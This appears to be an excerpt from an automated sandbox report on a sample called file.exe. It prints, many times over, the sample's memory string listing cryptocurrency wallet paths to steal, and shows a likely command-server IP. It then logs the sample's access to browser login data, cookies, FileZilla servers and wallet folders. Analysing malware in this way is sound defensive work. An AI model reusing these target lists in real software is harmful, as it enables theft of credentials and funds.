Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Coinomi\Coinomi\wallets\\.
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Electrum-LTC\wallets\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
